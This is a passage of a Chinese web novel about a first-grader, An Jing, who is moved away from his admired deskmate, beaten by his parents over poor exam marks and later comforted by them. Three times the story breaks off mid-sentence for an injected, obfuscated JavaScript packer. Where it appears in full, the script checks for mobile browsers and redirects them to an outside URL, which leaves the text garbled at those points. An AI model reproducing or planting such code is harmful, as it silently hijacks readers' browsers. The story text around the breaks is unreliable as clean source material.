有两三个忍不住的同学这时也终于抬起在竖起的课本后一直暗暗偷笑的脸,嘻嘻哈哈地告知老师:“老师,你后面头发翘起来了。”班上其他人紧跟着哄然大笑。 科学老师摸了摸自己后面的头发,将“小尾巴”按垂下去后,从容地说道:“哦,我说呢,这有什么好笑的啊。” 只有安靖一脸奇怪地看着君见微。 他知道,这件事自己早在三分钟之前就告诉君见微了,如果是笑老师的发型的话,君见微早在那会就笑了。 所以君见微到底在笑什么啊?他是发现了什么新的好笑事情,还是突然想到什么好玩的事情吗? 在君见微经老师许可坐下后,安靖立马迫不及待地歪了身子小声去问君见微:“你刚刚在笑什么?” 什么东西能把一向不苟言笑的君见微逗乐成那样?安靖好奇心痒死了。 结果君见微又狠狠瞪了他一眼。 被连续瞪两次的安靖又委屈又莫名其妙。 他挠了挠头。 好吧,也许君见微第一次上课开小差,被老师批评,心里正难过。他一会再问好了。 像君见微这种爱读书的好孩子被老师批评,心里肯定比平常人更伤心,何况这还是他第一次被批评呢。 不像自己,已经被老师骂习惯了,嘿嘿。 结果下课后,坐在第四组,和安靖隔着过道相邻的那个男同学突然告诉了安靖一个噩耗:“安靖,上节课我看到班长又记了你的名字了。” 安靖心头一惊,随即心头涌起一股烦躁感,但顾及面子,脸上努力压制住了恼怒,作出一副不在意的神色,非常不屑地瞟了眼前座的班长,切了一声:“让她记。”他早就成为周一下午被点名批评的常客了。 反正就是挨骂。而且哪怕事后还要被后座的方天怡告状,他妈妈都已经麻木了。 谁知男同学又跟君见微说:“君见微,班长好像也记了你名字。” 君见微不咸不淡地“哦”了一声,十分镇定的样子,看不出心情。 但是安靖乌黑的大眼珠子瞅了瞅被自己连累的君见微,瞧见君见微那惯常的面无表情,心头又开始控制不住地发虚和惭愧。 他戳了戳君见微:“君见微……” “……” 好吧,果然又开始不理会他了。 安靖心里直叹气,他有点讨厌班长了。在内心全班最讨厌同学排名中,将高居榜首的方天怡——也就是那个告状精,和原本排在第二的班长打了个调换。 这次是当然不可能再去找老师解释了。 正当安靖抓耳挠腮地发愁怎么讨好君见微,跟君见微和好时,令人身心俱疲又惶恐厌恶的周一再一次来临了。 班会上,待广播播报完毕后,平日和蔼不失严厉的班主任再次板起了她的那张脸。 “清洁卫生的事情,我就不多说了。我主要讲一下,关于班级纪律这个事。” 在一片沉默肃穆得可怕的气氛中,她手里拿着班长的笔记本,陆续点了几个人的名字,随后冷厉的目光就落在了安靖身上。 “安靖同学……”她慢悠悠地念出安靖的名字,那腔调叫人听了就胆战心惊。 安靖和先前被点到名字的同学一样,站了起来。 “你说说,这周怎么又有你的名字?啊?批评了你也不改正。我要怎么说你才肯听?为什么总是上课讲话,做小动作?你知不知道各科的老师见到我都要跟我说,哎呀,你们班上那个叫安靖的,上课可爱说话了。”她皱着眉以夸张而怪异的腔调学舌道。 安靖羞愧地低下了头。 “被记名的还有君见微,”班主任只瞥了眼君见微,就转眸又看向安靖,“总是被你带着说话……之前我有同你说过,再说话就把你们分开。我是不是这样跟你说的?” 安靖心中陡然一跳。犹如突遭一块巨石撞击一般,又懵又惊骇,前所未有的恐慌几乎将他扑倒,大脑一片空白,手脚阵阵发凉。 分开?老师之前有说过吗? 想不起来了……可是…… 但还未等他争辩,班主任又说道:“是你带着君见微说话对吧?那就是你的责任,别让君见微搬,你来搬吧。今天放学后,你跟胡争换一下座位,你坐到陈子翔旁边去。” 安靖呆呆地望着老师,好半天都消化不了这个消息。 但老师才不管他什么情绪,直接讲下一个话题。 安靖张了张嘴,最终是没发出声。他转头看了看君见微,君见微依旧是那副看不出喜怒的脸色,但他心头仍是不由生出难过和愧疚,低下了头。 可是班主任已经做下决定,下了命令,事情也无可争辩,无可回转。安靖再如何不想接受,也只能选择照办。 尽管不想面对现实,安靖还是下意识回头看了看胡争的位置——也是他将来要坐的座位在哪,和君见微的位置距离有多远。 那座位在他现在座位的后面的后面,需要向后挪两座。 再看看他未来的同桌——陈子翔,跟君见微不说完全没得比,根本就是君见微的反面。 这家伙不仅长着一张丑不拉几的马脸,人也很讨厌。 除了跟安靖一样是总是上课不听讲被老师点名批评的常客以外,还老是不完成作业。 而身为第三组的组长君见微任务就是收这组的作业。而每次收不到作业就得把名字记在纸上交给老师——不得不说,安靖能够坚持每日完成作业,除了妈妈每天监督,也有很大一部分原因是收他作业的就是君见微。 有次陈子翔交不上作业被记名字,还跟君见微吵架,但是君见微当时就直接对其说,写作业是你的任务,记名是我的任务,你认为不合理应该找布置任务的老师谈。陈子翔当即就没声了。 最让安靖讨厌的是,这家伙还喜欢欺负女生,把嚼过的泡泡糖粘在别人女同学的凳子或后脑勺上,那个被粘后脑勺的女同学最倒霉,后脑勺那一小片头发都被剪了,被迫从原来的马尾辫改变发型成披头齐肩发。 班上的男同学们也有很多人不喜欢他,因为陈子翔玩摔元宝拍画片的时候,输了老是耍赖。 老师怎么让这样一个人做自己同桌啊,真气人! 班主任才不顾及安靖的心情,还以安靖为反面教育例子,和班上同学说起好朋友做同桌,应该要互相帮助,一起好好学习,而不是和对方说话,这是害了好朋友之类的话。 而从头到尾安靖一直“鹤立鸡群”地在班上站着,听着老师的批评,脸蛋因为羞愧而发烧得厉害,耳朵更是发烫得生痒。 他低头瞅了瞅君见微,君见微似乎一如往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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龙飞背着书包,手里拎着个装了几个塑料水瓶的塑料袋,走过来催促道:“安靖你快点喏。” 龙飞就是那个把方天怡的笔摔坏的龅牙。 他不仅皮肤黄黑,头发发黄,还是个龅牙,连带着上嘴唇也显得有点厚,加上有些皮包骨般的瘦,所以很像只猴子。加上他和安靖一样是92年生的,属猴,所以还有个外号叫“猴子”。 安靖的左胳膊好了以后,安靖妈妈就和其他的家长一样,不再接送安靖,给安靖脖子上套了个红绳圈儿系了把钥匙,就让安靖和大家一样自己上下学。 然后安靖在回家的路上发现猴子跟他同路,便每天和龙飞一同回家了。 “唉,猴子,我好难过啊。我真不想换座位。要是老师肯答应不换的话,我肯定可以保证,以后再也不会上课和君见微讲话了……啧,诶你说班长怎么这么讨厌啊,女孩子全是告状精……” 回去的路上,安靖沮丧地跟猴子抱怨着。 “我还和君见微吵架了一直没和好……”安靖不断回想君见微临走前说的那句“谁让你上课总说话的”。 君见微也一副埋怨自己老说话结果导致被换座位的样子,话里全是对自己的不满和讽刺,会不会他也一直在等着自己跟他和好? “你觉得他会喜欢什么东西呢?我送个礼物给他好不好?”安靖提议道。 龙飞:“你身上有钱吗?要不买个笔啊本子什么的吧?” 安靖双眼一亮。 对啊,君见微不喜欢吃零食也不喜欢玩,他那么热爱学习,自己可以给他买文具,这个礼物他肯定会要的。 不过,买哪种文具好呢? 安靖看向身边的龙飞,不禁想起了之前猴子摔掉的方天怡的那支铅笔——不仅贵,还是国外进口的。 9. 美人鱼 “人家有什么,你也要买什么,人家学习那么好,上课认真听讲,你怎么不跟人家比这个啊?” 安靖妈妈对一回家就找她要钱的安靖骂道,“还无铅铅笔,全国有那么多学生,有多少人用无铅铅笔?怎么没见用普通铅笔的中毒死了呢?” “哎呀,反正无铅铅笔就是肯定是没毒的。而且我不是买给我自己,我是想买给君见微。” “你干嘛要送东西给君见微啊,他过生日吗?” 安靖心想,我连他生日哪天都不知道呢,嗯,下次记得问一下。他老老实实说道:“我跟他吵架了,我想送礼物给他。” “你怎么惹了人家啊?”安靖妈妈追问,“跟他好好说不行吗?” 安靖本就心虚,不耐烦地皱起眉,跳下桌子跑到妈妈面前,拽着她胳膊不断拉扯:“哎呀,妈妈你不要问了,给我钱让我买嘛……” “好好好,给你给你,啧,”安靖妈妈被儿子搅得差点把碗都摔了。 “不过你这个月的零花钱我都不给了啊。我们家可不跟那个方天怡家一样是有钱人家。人家家里开超市的。我们家,妈妈没有工作,你爸爸在模具厂累死累活一个月才七百多,养活我跟你,” 她一边絮絮叨叨地抱怨,一边从口袋里摸出一元硬币递给安靖,还不忘叮嘱,“拿好了哦,别掉了。天天就知道花钱,我倒要看看你期中考试能考成什么样子。” 安靖烦不胜烦,拿到钱只糊弄道:“知道了知道了,我会努力的啦。” 完全忘了他今天放学前才因为天天上课不听讲、说小话、做小动作而老师批评并被调离座位。 “呐,这个送给你。” 第二天下午一进教室,安靖就兴冲冲地跑到君见微面前,把自己来学校路上找了好久才买到的无铅铅笔放到了君见微面前。 “这个是无铅铅笔,不含铅的。用起来很健康,不会中毒,方天怡也用这种,”安靖向君见微解释道。 脸上的神情骄傲得像是这笔是他发明出来的一般,“送给你,这是离别礼物。我们分开了还是好朋友。” 谁要跟你做好朋友啊! 如果不是怕撕破脸,安靖会把他的事情说出去,君见微早就想把这话怼安靖脸上了。 君见微把笔递还给安靖:“还给你,我不要。” “诶?” “铅笔本身就是不含铅的。外面笔身是木头做的,笔芯是石墨做的。铅笔里含有大量铅毒这种消息,是商家为了售出高价铅笔而危言耸听,”君见微科普道,并义正言辞地表示,“无功不受禄,你不要再送东西给我了。我缺什么我家里会给我买的。” 可是,可是…… 安靖内心焦急,却笨嘴拙舌,张着嘴巴什么也说不出来。 他不知道君见微说的“蜈蚣不瘦鹿”是什么意思。但是君见微前面的解释他大概听懂了,这所谓的“无铅铅笔”是卖铅笔的老板说谎骗人。 站在胡争座位上的他看了看周围,然后小声地“哦”了一下,手足无措地挠挠头以解尴尬。看君见微又重新专注回自己的事情后,没什么事做又找不到理由再滞留的他便用手指去抠胡争的课桌桌角,最后在胡争的催赶下,悻悻地回到了自己现在的新座位。 不过很快他的那点失落的情绪又消散了,因为下午第一节课上的是美术课! 安靖最喜欢美术课了!他画画画得好,美术老师还夸过他。而且美术老师又年轻又漂亮,画画又好看,说话又温柔,还很会讲故事呢,班上所有同学都喜欢她。 这节课美术老师教大家画了桃子,课堂作业结束后,还剩下十分钟才下课,班上同学便又闹着要老师讲故事或者讲笑话。 “那大家想听什么故事呀?”美术老师笑眯眯地问大家。 “讲小美人鱼的故事!”女孩子们对于这个故事的呼声最高。 “上节课不是才听了灰姑娘吗?”安靖抱怨着,他和其他男生一样都想听孙悟空。 奈何美术老师一向宠惯女孩子,果真就讲了小美人鱼的故事。 虽然大家都听过或者看过,可毕竟是流传百年的童话和神话故事,对小朋友来说,是百听不腻的。 甚至因为这个故事太悲伤,讲完以后还有小女孩哭了。 美术老师照例提问道:“那么听完这个故事,我们可以从中学到什么呀?” 一年级的孩子们毕竟还小,《海的女儿》这个爱情故事其中的道理不比《灰姑娘》一样浅显明了,一时之间没人举手。 ——除了安靖,他兴奋地高高晃着胳膊。 美术老师点他站起来以后,他骄傲地挺着小胸膛仰着脑袋,大声回答道:“小美人鱼是因为她没有文化,是个不识字的文盲,所以才没人喜欢她的。如果她好好学习的话,就可以写字或者打手语告诉王子事实真相,然后嫁给王子。所以我们要向张海迪阿姨学习,哪怕身体残疾,也要好好学习,长大做一个对社会有用的人。” 这个故事他听妈妈讲过,妈妈当时就是这么告诉他的,张海迪的故事也是妈妈同他讲的。 他自信又期待地望向最喜欢的美术老师,又偷偷瞄了瞄君见微,当发现君见微的视线也和大家一样集中在他身上时,他努力把下巴抬得更高了一点,望向美术老师的眼神更是闪闪发亮,像等待主人摸头夸奖的狗子。 全班可就他一个人能回答出来了。 “呃……”美术老师竟是一时间有些哑言,然后才慢慢点了点头,笑着给了个勉强的评语,“也对。请坐。” 这反应实在低于安靖的期待,他有些失望,又看了一眼君见微,坐下了。 这时班长林珍举起手:“老师,老师,我知道!” 站起来后她回答道:“小美人鱼做事不考虑后果,喜欢上不该喜欢的人。王子是在陆地上生活的,小美人鱼只能生活在海里的。他们是两个不同世界的人。” 美术老师似乎更喜欢这个回答,很满意地点点头,脸上露出了明显比刚才要更灿烂的笑容:“对。班长很有见解啊,说得很棒,请坐。” 如果是别的同学获得夸奖还好,可是获得夸奖的是讨厌的班长,获得的还是他最喜欢的美术老师给出的更好的赞扬,安靖心中生出一股怒意和不服气,对班长更讨厌了。 他不禁开口争辩道:“都在这个世界上生活,哪里不同世界了?小美人鱼如果有好好学习的话,她就可以跟王子说她喜欢王子,是她救了王子,她为了见王子失去了自己世界上最好听的声音,而且脚上走的每一步都很痛,跳舞也很痛。但是就算很痛,就算如果最后不能嫁给王子,她就会死掉,她还是来找了王子,还是愿意跳舞给王子看,愿意陪着王子到处玩。王子肯定会愿意和小美人鱼在一起的。是她自己不会写字打手语,没办法跟王子说出来啊。这本来就都是她不好好学习才会弄成这样的。不然王子肯定更喜欢小美人鱼,如果我是王子,知道小美人鱼这么喜欢我,还救了我,我肯定更喜欢小美人鱼,跟她结婚!人家古代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142086|164526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人都说了,救命之恩,当以身相许!” 小美人鱼的故事本身就充满牺牲的遗憾和悲伤,小孩子又不懂什么叫“两个世界”,听了安靖这么一大段话噼里啪啦地砸下来,班上便马上就有其他同学传来“是啊,”“对哦”的赞同声。还有几个小朋友跟着嘻嘻哈哈地大叫“我也要娶小美人鱼当老婆!” 林珍被堵得说不出话来,但是很快她又辩道:“人跟鱼怎么在一起啊?而且她抛弃爸爸妈妈姐姐,还把自己的舌头给切了去找王子,这就是不对。” 安靖:“她不是已经变成人了吗?她那么喜欢王子,而且爸爸妈妈姐姐可以在海边跟他们见面啊。她还是海里的公主呢,她要是跟王子结婚,说不定海里和陆地上的人可以做朋友,陆地上的人还可以吃更多的海鲜,得到更多的珍珠。” 好、好有道理…… “……”林珍张了张口,坚持道,“反正,就是不对。” 班上也乌泱泱地吵起来,老师正想劝,恰逢这时下课铃打了,她只好匆匆做个结束语:“两位同学说的都很有道理,大家下课可以自行讨论,下课。” 安靖自认为赢了班长,心情很是不错。 晚上吃晚饭时,他把今天君见微科普的铅笔不含铅的新知识教给妈妈。 安靖妈妈十分无语:“哦,之前你同学说铅笔含铅,你磨着我非得要钱去买那贵得要死的无铅铅笔。今天这个同学说不含铅你又信了?” 安靖分辩道:“说含铅的是商店老板骗人,我同学都被骗了。君见微没有被骗,他说不含铅的。君见微说的肯定是对的。他可聪明了。” 安靖妈妈:“……” 她没好气道:“是!你同学都聪明,就我这个蠢妈妈生了你这么个蠢儿子。” 安靖急忙反驳道:“我同学才不是都聪明呢,我不是说了吗,他们都被骗了。只有君见微聪明,他什么都懂。” 这副灭自己士气也要坚持涨他人威风的态度把安靖妈妈气得直翻白眼。 一旁喝酒的安靖爸爸笑得直咳嗽,好半天才停下来,道:“我儿子也聪明,我儿子也聪明。这次期中考试啊,考个双百回来给我和你妈长长脸!”说罢还递了盅酒给儿子,“来,尝尝。” “还双百,能考九十我都谢天谢地去庙里上香,”安静妈妈对儿子平日表现可太了解了,她拦住安靖爸爸递酒的手,皱眉朝安靖爸爸骂道,“他小孩子,别老给他喂酒,这么点大喝酒会喝傻的!” 安靖钻到爸爸怀里,把爸爸面前桌上那杯酒抢着喝了。 在妈妈的骂声下,两父子笑作一团。 或许是真的喝酒喝傻了脑子,安靖的期中考试成绩一门七十六,一门六十七。 试卷拿回去当天安靖先被妈妈打了一顿,晚上爸爸回来后又打了他一顿。 “君见微考了多少?龙飞呢?你们班那个班长呢?那个家里开超市老告你状的那个呢?” 把安靖班上能记得名字的每个同学都问过成绩以后,安靖妈妈气得坐在椅子上头发晕,一脸厌恶的表情,皱着眉,看都不愿意看安靖一眼的模样,“你家长会我不会去了。你到时候让你爸爸去,我丢不起那个人。你老实告诉我,你在你班上是不是倒数第一啊?” 话虽如此说,开家长会的当天,安爸爸正好加班,只好由妈妈去了。 而妈妈关上门离家前去学校的那一刻,安靖才想起来—— 糟糕!他忘记跟妈妈说自己因为上课讲话被换了座位了! 10. 那是你活该 门外传来了熟悉又恐惧的高跟鞋踏楼梯声,咯哒咯哒,仿佛敲打在心上。 安靖飞快按动遥控器把节目调至打开前的那个频道,并确保音量与之前一般无二,再以飞扑之势把电视关了,遥控器以原先的位置和角度仔细放好。 然后将电视机散热孔上方的微湿毛巾拿开,把一旁用以加快散热的立地电风扇关上挪到原来位置,迅速跑到了房间里坐在已经摊开的作业本前。 一串钥匙丁零当啷互相撞击和与锁孔转动的响动后,安靖妈妈打开门,换下鞋子,门大力一关发出“嘭”的一声巨响,整座房子都在为这个女人的愤怒与力量而震颤,伴随些许沙尘掉落。 安靖咽了咽口水,他僵硬地转过头,朝妈妈望去:“妈妈你回来啦~” 妈妈阴沉的脸色比恶鬼更可怕。 …… “装什么相?!平时怎么不见你那么努力?到现在来给我装模作样。过来吃饭!你爸爸让我们先吃。” 安靖妈妈做好饭后,站在饭厅对着房间里的安靖语气冰冷地高声骂道。 安靖脸蛋上镶着红通通的巴掌印,挂着未干的泪痕。他拖着慢吞吞的步伐走出了房间,到了餐桌前坐下,然后拿起筷子食不知味地往嘴里扒饭,偶尔夹菜时连远一点的菜也不敢夹。 他的小人书已经被撕烂扔垃圾篓了,心爱的金箍棒先前也被妈妈用来当做“教子棒”一下就打烂了,都扔在垃圾篓里,但他现在看都不敢看一眼。 安靖妈妈自己却是一碗饭摆在面前怎么也吃不下,她气不过,仍是一个劲地骂安靖:“原先你那个第三排的位置不知道多好,结果现在因为上课讲话被老师调到那么后面去坐。我这回要是不去家长会,我还一直不知道。你还学会瞒着我撒谎了?那个书啊,没有一本是好的。一抽屉的全是用书上撕下来的纸折出来的鬼东西!你在学校一天到晚上课不听讲,就学些这个?我真是要被你气死了。你那些东西我全都给你扔了,你听到没有啊?你以后要是再敢折一样那个鬼东西,我就把你的手给打断。你书也不要读了,你读什么鬼嘛。我花这么多钱送你去学校学折这种东西? 你老师一听到我是你妈妈,嚯,抓着我一个劲地跟我说,哎呀你家安靖啊,上课从来不听讲哦!怎么批评他也不听。做值日还玩扫把,把班里的扫把打断了两把。考试就考那么一点点。好多上课讲过的没听,听过的也因为粗心做错了,那个树叶的叶字总是写成十口,算数也总是算错。又说你们班那个君见微多么多么厉害。啧啧啧,双百分,那卷子上全是红钩,一手字也不知道写得多漂亮,可惜人家家长太忙了没来,要不然不知道多长脸! 你说,我怎么生不出这么乖的儿子!生了你这么个蠢儿子。要是君见微做我儿子我做梦都要笑醒。” 安靖听到这里更难受了,原先干涩的眼睛又一阵酸涨发热,眼泪珠子在眼眶里打转。 我也知道君见微很厉害,可是我就是你的儿子啊。 安靖妈妈瞪了安靖一眼,毫不留情地嘲讽:“还哭,你还有脸哭?我才想哭好吧!我天天早上起来给你做饭,洗衣服,晚上辅导你做作业。爸爸辛辛苦苦赚钱养你这么大。你给我考个这么烂的分数回来。你对得起我和你爸爸吗?你原先跟人家君见微同桌,不知道多好。现在你那个同桌,哼,被老师骂的次数跟你不相上下,长期不做作业,成绩比你还差,他爸爸坐在旁边比我还丢人。你要是班上倒数第二,他就是班上倒数第一。” “你不要去跟这种坏学生玩,要多跟成绩好的人玩,听到没?” 安靖吸吸鼻子,带着鼻音地“嗯”了一声。 安靖妈妈嘴巴歇了一会,又开口问安靖,君见微爸爸妈妈是做什么的。 安靖说不知道。 “你跟人家君见微不是好朋友吗?怎么这么久了还连人家爸爸妈妈做什么的都不知道?” 安靖低头吃饭不说话。 之前问到龙飞爸爸妈妈职业他回答不出来的时候,妈妈也是这样说的。 为什么做好朋友就要知道人家爸爸妈妈是做什么的。 晚上安靖爸爸回来了。 安靖正在卫生间里洗脚,他听到妈妈在卧室里跟爸爸低声商量要不要塞钱给老师,换个靠前的座位,有个成绩好点的同桌。 他赶紧擦干净脚丫子,踩着拖鞋蹬蹬蹬跑过去大声争执道:“我不要换座位!你们不要给老师送红包!” 安靖知道给老师送红包是很不好的行为,而且因为自己上课讲话才被老师换座位,这次成绩又这么差,家里为他花这种钱,实在很丢脸。 “不换座位还得了,跟那么个坏学生坐在一起!你现在是全班倒数第一了你知不知道?!考那么低的分数丢死人了。” “你不要送红包!我会好好读书的。” “有那么个同桌你怎么好好读书?你撕书折那些鬼东西是不是就是你同桌带坏你的?洗完脸就去睡觉,大人的事你小孩不要管。你懂个屁。” “不是,不是他带坏的,我以后不会玩了,真的,”安靖又扯着嗓子喊了一句“不要送红包!!”声音尖锐得让人头疼。 妈妈本来就心烦,直接甩了他一耳光。 安靖捂着发烫肿胀的脸发蒙,眼泪也因为疼痛而从眼睛里分泌了出来,之后心头真正的痛苦才侵蚀而上,他“哇”地大声哭了起来,滚滚的泪水带着热烫的体温不断自眼中流出。 结果爸爸也被吵得心情暴躁:“再哭就把你扔出去!考这么差还有脸哭。” 安靖并没有被吓住,大嗓门的他仍旧哭得响亮,谁料安靖爸爸恼火之下真的一把将他拎起,把门一开,扔他到门外,然后“嘭”地关上了门。 站在门外的安靖仰头望着自家紧闭的家门,还有门上那个嵌着金粉闪闪发光的大红“福”字,心头发颤,泪水再次如同破堤一般涌出。 这一刻被全世界抛弃的痛苦以及产生的逆反心理让他放开了胸腔和嗓门,用尽了全身力气大声地仰天号哭。 整栋单元楼,上上下下都被这极具穿透力的哭声贯穿,声控灯从一楼一路亮到顶楼。 很快就有邻居或出于好心仗义或出于身心自保,敲开了安靖家的门,为安靖说好话,劝解安靖父母将其带进家门。 第二天,安靖双眼红肿地背着书包去了学校。 同桌陈子翔的脸上也残留着没消下去的红肿,看来昨天的家长会一样给他带去了不小的灾难。 但是安靖没和陈子翔说话,他和陈子翔的关系一向很差,相看两相厌。他不喜欢陈子翔,而陈子翔大概是因为讨厌君见微,可安靖和君见微又走得近,还总是不肯借他作业抄,所以陈子翔连带着也不喜欢安靖。 一下课,安靖就跑去找了君见微,对君见微抱怨时,声音都是沙哑的,昨天哭得太久太大声,伤了嗓子。 “我都说了我会好好学习的,他们就是不信。还说不想要我这样的儿子,总是夸别人家儿子多好多好。哼,好像我喜欢当他们儿子一样。要是我妈妈像你妈妈一样,也不来参加家长会就好了。开什么家长会嘛,我跟你说……” 君见微没想到都已经不做同桌了,安靖还要每天追过来跟他讲这些,实在是烦不胜烦,他一脸厌恶地瞪着安靖:“那是你活该。谁让你不认真学习?” 安靖愣住了。 君见微没有住口,继续道:“你有什么资格抱怨家长和老师?你从来不反省自己是不是尽到了身为儿女、学生应该尽的责任和义务。怎么不问问你爸妈喜不喜欢你这样贪玩又差劲的白眼狼小孩?如果你是你爸爸妈妈,你愿意一直养你这样的小孩吗?谁知道哪天不想养了,就把你带出去玩,然后用买饮料的借口将你扔在某家动物园或游乐场了呢!” 安靖被这样尖酸刻薄的君见微给吓到了,好半天没有反应过来。 君见微也没有再理会他,低头干自己的事。 上课铃这时也响了,安靖魂不守舍地回了座位。 君见微大概是也不喜欢不爱读书、成绩不好的学生吧。而且君见微成绩那么好,从来都不会挨爸爸妈妈的骂和打,所以压根就没有他这样的烦恼,也无法理解他的难受。 在他看来,小孩子不爱读书不被爸爸妈妈喜欢是理所当然的,每个小孩都应该好好读书。 爸爸妈妈也都是这样想的。 “妈妈,我来帮你洗碗吧。” 吃完饭后安靖端着碗到厨房对正在刷碗的妈妈说道。 安靖妈妈望向个头才比流理台高一个头的儿子,眼里流露笑意,脸上却一脸嫌弃:“哎哟还要你来?那家里的碗一个也别想留,到时候全家一起用锅吃。啧,让开点。” 想象力丰富的安靖脑袋里马上就跟着冒出那副全家人一起围着饭桌上的锅夹饭吃的画面,被逗得嗤嗤发笑。 安靖妈妈问:“最近怎么这么乖啊?回家就做作业也不偷偷看电视了,还想着要帮妈妈洗碗。” 站在厨房门口的安靖脸上露出羞赧的笑涡。 吭吭哧哧了一会,他倚着厨房门开口问道:“妈妈你会一直喜欢我吗?” 安靖妈妈差点笑出声,她看了用一双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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安静妈妈心疼得不得了,抱起安靖紧紧搂在怀里,脸贴在他额头上,用手不断拍抚他的头和背部:“哎哟我的乖崽崽,怎么会呢?妈妈怀着你在肚子整整十个月才把你生下来,还天天晚上爬起来给你喂奶。我费这么大劲把你养大,还换别人家的小孩?你爸爸就更不可能了,他可喜欢你了。你小时候,他天天给你泡奶粉,推你出去玩,还给你洗过尿布。你叫第一声爸爸的时候,他高兴得天天在外面跟人家炫耀。你小时候不爱吃饭,别人说饿两顿就好,他天天端着一碗饭跟在你后面跑喂你吃。别人家的小孩再好,那又不是我们的小孩。你是爸爸妈妈身上掉下来的一块肉啊。” 随即她又亲了亲安靖潮乎乎的脑门还有眼睛:“今天晚上跟爸爸妈妈一起睡好不好?” 安靖带着残余的哭腔应了一声“好”。 妈妈用热烫的湿毛巾把他的脸蛋擦干净,然后把他抱到了她和安爸爸的被窝里。 听了安妈妈的讲述,可把安爸爸心疼坏了,抱着自己儿子一个劲地说:“哎呀,爸爸就是气着了。爸爸向你道歉好不好?你就算成绩不好,那也是我们生的小孩。爸爸妈妈就算再生气,心里还是最喜欢安靖的。” “对啊,妈妈最大的愿望,还是我家崽崽能开开心心的,爸爸妈妈是怕你学习不好将来赚不到钱过得很不好。所以爸爸妈妈着急了,才那样说的,我最喜欢我家崽崽了,”安靖妈妈又亲了安靖的小脸蛋一口。 安靖在温暖的被窝里被爸爸妈妈抱着,脸蛋都烘得红通通的,笑得可甜。 安靖妈妈又问了句:“是不是那天把你关在门外吓到了?以后再也不会了。” “嗯,而且我去了学校后跟君见微讲了以后,君见微还说……” 安靖很爱讲话,罗里吧嗦分不清重点,总是喜欢把一件事从头到尾相关不相关的,事无巨细地全部讲了。但是这次不仅是因为叙事习惯,安靖也是心里有些埋怨讲话很可怕的君见微,所以同爸爸妈妈告了状。 安靖妈妈皱了皱眉,随即笑:“他吓唬你呢。” 安靖爸爸用下巴上的胡茬折磨儿子的额头和脸蛋:“明天周末带你出去玩好不好?不会把你丢掉的。好不容易生个这么可爱的儿子养到这么大还丢掉,谁舍得啊?你不是还记得爸爸妈妈的名字,家里住址和家里的电话号码吗?就算真的走丢了,可以报警找警察叔叔啊,让警察叔叔送你回家。” “好~” 又到了新一周的周一,过了一个愉快的周末,肚子里揣着一大堆事要说的安靖一直到升完国旗回到教室都没看到君见微。 “君见微还没来吗?他今天这是迟到了吧?”安靖有些担忧地问胡争。 可是君见微从来没有迟到过。 胡争表示不知道。 直到上语文课的时候,君见微仍旧没有来,安靖忍不住问了老师,才得知君见微请了一个星期的假。 11. 我怎么那么蠢啊 一个星期的假?生了很重的病吗? 安靖怀着担忧作各种揣测猜想,又有些后悔自己忘了问君见微家的电话号码,不然就可以打电话问了。 想到这,他才又紧跟着想起来,他之前还想着要问君见微的生日,也是至今都忘记问。 在千百种猜想中,终于度过了看不到君见微的煎熬一周。 安靖从来没有这么期待过周一。 早上伴随着运动员进行曲冲到教室里,看到君见微桌屉里有君见微的黑色书包后兴奋直接飙升到一个极点。 而等他跑到操场上,找到自己班升国旗队伍,真的看到班级队列里那个熟悉的背影后,安靖才真正放下心来。 之后听着国歌注视国旗时,脸上也一直挂着比天上阳光更灿烂的笑容。 升国旗结束后,安靖就赶紧趁着回教室的人群队列散乱,没有和往常一样同站在旁边的同学多说,加快步伐钻到前面找到了君见微。 “君见微,君见微!” 他抓住君见微的胳膊,打量脸色,关心地问道:“你怎么请假了呀?生病了吗?” “没有,不关你的事好吗,”君见微眉头微蹙,扯开了安靖的手,朝前走去。 已经到了教学楼前,人太多,安靖便不好挤了。 早读课一下,憋了半节早读课的安靖便跑去了君见微座位前。 胡争都无奈了:“你怎么又来了啊。”还嗤嗤发笑地对君见微说:“君见微你知道吗,你不在的时候,他天天早中晚都要往你座位上看一眼。快成‘望夫石’了。”周围同学听到都一阵发笑。 安靖有些生气,嘀咕道:“关你屁事。” 他心里是嫉妒讨厌胡争的,觉得胡争占了自己的位置。但是他也明白是自己犯错误导致丢了这个位置,而且每次来找君见微时都得占据胡争的座位,便不好同他吵架。 君见微问:“你到底找我有什么事?” 安靖道:“我就是,这么久没见到你,有点想你了。” “哇!安靖你好肉麻啊!”胡争夸张地喊道,还学安靖的腔调,“我有点想你了~”旁边又是一阵发笑。 这下不仅是安靖恼羞成怒,就连君见微都莫名耳朵发热,两人齐齐瞪向胡争。 胡争吐吐舌,赶紧跑了。 君见微看向安靖,皱起眉:“你……” 安靖却因为讨厌的胡争总算走了有几分开心,急冲冲跟君见微分享:“之前你不是说,我爸爸妈妈会因为我不乖,不爱学习而丢掉我吗?我爸爸妈妈说不会的。” 不待君见微反驳,安靖便开心地说起父母和他谈心的事情,“我爸爸跟我道歉了,说都是气话,不管发生什么事,我都是他们最喜欢的小孩。别的小孩再好,他们也最喜欢我。我妈妈说她就希望我开开心心的,其他怎么样都可以。” 他红着脸,露出美滋滋的笑:“他们怕我不相信,这几天都让我跟他们一起睡的。两个人都抱着我睡。上个星期六还带我去了动物园。你知道吗?动物园里好多动物啊!我还看了狗熊骑自行车,猴子骑老虎。还喂了鸵鸟和长颈鹿,爸爸给我拍了照片……” “我要练字了。” 君见微打断道,面露不耐烦。 安靖顿住,有些尴尬地“哦”了一声。他感觉到了君见微对他说的那些开心事兴致不高。 君见微总是这样,对一切和学习无关的事情都不感兴趣。 但是如果他就这样离去,又是一个不愉快的结束。 